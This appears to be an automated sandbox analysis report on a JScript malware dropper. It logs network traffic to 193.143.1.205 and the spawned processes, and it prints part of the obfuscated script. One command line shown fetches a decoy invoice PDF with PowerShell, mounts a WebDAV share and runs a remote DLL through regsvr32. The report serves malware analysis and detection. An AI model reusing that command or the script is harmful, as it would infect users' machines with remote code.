Jan 13, 2025 09:06:06.121764898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121768951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.121810913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.121825933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121840000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121853113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121865988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121884108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.121901035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121912956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.121915102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121929884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121949911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121958017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.121963024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121975899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121990919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.122001886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.122003078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.122030020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.122046947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.141628981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141808987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141814947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141829014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141843081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141855955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141869068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141875982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.141882896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.141900063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.141920090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.153173923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160156965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160300016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160324097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160339117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160352945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160366058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160378933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160392046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160401106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160404921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160419941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160433054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160434961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160434961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160446882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160461903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160471916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160475969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160490990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160499096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160536051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160712004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160728931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160742998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160758018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.160769939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.160815001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.191951990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.204181910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.414315939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.874070883 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.879193068 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.879300117 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.880114079 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.884983063 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:07.670886993 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:07.714364052 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:08.821719885 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:06:19.808808088 CET	49430	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 09:06:19.808808088 CET	192.168.2.4	1.1.1.1	0xa89f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 09:06:19.530733109 CET	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:06:19.530733109 CET	1.1.1.1	192.168.2.4	0x8d6a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:06:19.816106081 CET	1.1.1.1	192.168.2.4	0xa89f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7696	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:06:04.531718969 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 09:06:05.370892048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:06:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 09:06:05.370914936 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 09:06:05.370927095 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 09:06:05.370932102 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 13, 2025 09:06:05.370943069 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 13, 2025 09:06:05.370954037 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 13, 2025 09:06:05.370965958 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 13, 2025 09:06:05.370976925 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 13, 2025 09:06:05.370989084 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 13, 2025 09:06:05.371000051 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 13, 2025 09:06:05.375848055 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7976	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:06:06.880114079 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 09:06:07.670886993 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:06:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:06:00
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js"
Imagebase:	0x7ff691d00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:06:01
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Imagebase:	0x7ff640b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:06:01
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:06:01
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:06:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:06:05
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff640b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:06:05
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e84b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:06:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:06:06
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:06:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,11555239637211796600,11891808968204454140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jfkno() {	jfkno() ➔ undefined
1	tpzwbnu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var cbahlkd = this[nhareq + fcacmxbsb + ezldq + hlcqw + weizz + kebkgpa + ilukepw + ygegl] ( this[qxradl + vprvpci + dixyzy + ezldq + sofrajvj + nhareq + ygegl][bnydohls + ezldq + weizz + fcacmxbsb + ygegl + weizz + mnxbfo + mgyymhskj + hrvjinocb + weizz + dixyzy + ygegl] ( qxradl + vprvpci + dixyzy + ezldq + sofrajvj + nhareq + ygegl + dcijscn + vprvpci + pktovoksn + weizz + ladtquo + ladtquo ) [wnuipnbud + weizz + gkubtzb + wnuipnbud + weizz + fcacmxbsb + tfonyxqgb] ( dpgkwb + olvdc + gmqwlolvq + eavzzmqjg + iqeaoqf + bnydohls + ijlhc + wnuipnbud + wnuipnbud + gmqwlolvq + nymoa + ehmstxyfe + iqeaoqf + ijlhc + vprvpci + gmqwlolvq + wnuipnbud + gextdxmr + bnydohls + fppdiqsdd + ilukepw + ygegl + ezldq + fppdiqsdd + ladtquo + rdzeu + zfaupxgps + fcacmxbsb + ilukepw + weizz + ladtquo + gextdxmr + kebkgpa + ilukepw + ygegl + weizz + ezldq + ilukepw + fcacmxbsb + ygegl + sofrajvj + fppdiqsdd + ilukepw + fcacmxbsb + ladtquo + gextdxmr + huezb + fppdiqsdd + dixyzy + fcacmxbsb + ladtquo + weizz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fgdumy = 0 ; fgdumy < tpzwbnu[ladtquo + weizz + ilukepw + gkubtzb + ygegl + pktovoksn] ; ++ fgdumy )
4	{
5	if ( cbahlkd == tpzwbnu[fgdumy] )
6	{
7	cbahlkd = true;
8	break ;
9	}
10	}
11	if ( cbahlkd !== true )
12	this[qxradl + vprvpci + dixyzy + ezldq + sofrajvj + nhareq + ygegl][pqheixb + szepuzixz + sofrajvj + ygegl] ( );
13	this[qxradl + vprvpci + dixyzy + ezldq + sofrajvj + nhareq + ygegl][bnydohls + ezldq + weizz + fcacmxbsb + ygegl + weizz + mnxbfo + mgyymhskj + hrvjinocb + weizz + dixyzy + ygegl] ( qxradl + vprvpci + dixyzy + ezldq + sofrajvj + nhareq + ygegl + dcijscn + vprvpci + pktovoksn + weizz + ladtquo + ladtquo ) [ezldq + szepuzixz + ilukepw] ( dixyzy + qxwjfgxnt + tfonyxqgb + rdzeu + jimsevv + dixyzy + rdzeu + nhareq + fppdiqsdd + yrscmtjb + weizz + ezldq + hlcqw + pktovoksn + weizz + ladtquo + ladtquo + dcijscn + weizz + zxhory + weizz + rdzeu + saxgut + bnydohls + fppdiqsdd + qxwjfgxnt + qxwjfgxnt + fcacmxbsb + ilukepw + tfonyxqgb + rdzeu + hdmnkal + kebkgpa + ilukepw + prhlr + fppdiqsdd + gsewzl + weizz + saxgut + qxradl + weizz + mgyymhskj + wnuipnbud + weizz + vtptstnv + szepuzixz + weizz + hlcqw + ygegl + rdzeu + saxgut + mnxbfo + szepuzixz + ygegl + hhsfe + sofrajvj + ladtquo + weizz + rdzeu + vmkxjzj + ygegl + weizz + qxwjfgxnt + nhareq + vmkxjzj + gextdxmr + sofrajvj + ilukepw + prhlr + fppdiqsdd + sofrajvj + dixyzy + weizz + dcijscn + nhareq + tfonyxqgb + bzoirwbzf + rdzeu + pktovoksn + ygegl + ygegl + nhareq + qotwnl + jimsevv + jimsevv + hcuulrak + skcog + cnlrqu + dcijscn + hcuulrak + drcfnum + cnlrqu + dcijscn + hcuulrak + dcijscn + tyzdhngl + mnhyvtybs + gtfjvqo + jimsevv + sofrajvj + ilukepw + prhlr + fppdiqsdd + sofrajvj + dixyzy + weizz + dcijscn + nhareq + pktovoksn + nhareq + hdmnkal + degpey + degpey + hlcqw + ygegl + fcacmxbsb + ezldq + ygegl + rdzeu + vmkxjzj + ygegl + weizz + qxwjfgxnt + nhareq + vmkxjzj + gextdxmr + sofrajvj + ilukepw + prhlr + fppdiqsdd + sofrajvj + dixyzy + weizz + dcijscn + nhareq + tfonyxqgb + bzoirwbzf + degpey + degpey + dixyzy + qxwjfgxnt + tfonyxqgb + rdzeu + jimsevv + dixyzy + rdzeu + ilukepw + weizz + ygegl + rdzeu + szepuzixz + hlcqw + weizz + rdzeu + gextdxmr + gextdxmr + hcuulrak + skcog + cnlrqu + dcijscn + hcuulrak + drcfnum + cnlrqu + dcijscn + hcuulrak + dcijscn + tyzdhngl + mnhyvtybs + gtfjvqo + piyufdqs + hxiydffp + hxiydffp + hxiydffp + hxiydffp + gextdxmr + tfonyxqgb + fcacmxbsb + prhlr + yrscmtjb + yrscmtjb + yrscmtjb + ezldq + fppdiqsdd + fppdiqsdd + ygegl + gextdxmr + degpey + degpey + dixyzy + qxwjfgxnt + tfonyxqgb + rdzeu + jimsevv + dixyzy + rdzeu + ezldq + weizz + gkubtzb + hlcqw + prhlr + ezldq + cnlrqu + tyzdhngl + rdzeu + jimsevv + hlcqw + rdzeu + gextdxmr + gextdxmr + hcuulrak + skcog + cnlrqu + dcijscn + hcuulrak + drcfnum + cnlrqu + dcijscn + hcuulrak + dcijscn + tyzdhngl + mnhyvtybs + gtfjvqo + piyufdqs + hxiydffp + hxiydffp + hxiydffp + hxiydffp + gextdxmr + tfonyxqgb + fcacmxbsb + prhlr + yrscmtjb + yrscmtjb + yrscmtjb + ezldq + fppdiqsdd + fppdiqsdd + ygegl + gextdxmr + hcuulrak + tyzdhngl + skcog + mnhyvtybs + skcog + tyzdhngl + cnlrqu + skcog + drcfnum + drcfnum + tyzdhngl + skcog + tyzdhngl + hcuulrak + tyzdhngl + dcijscn + tfonyxqgb + ladtquo + 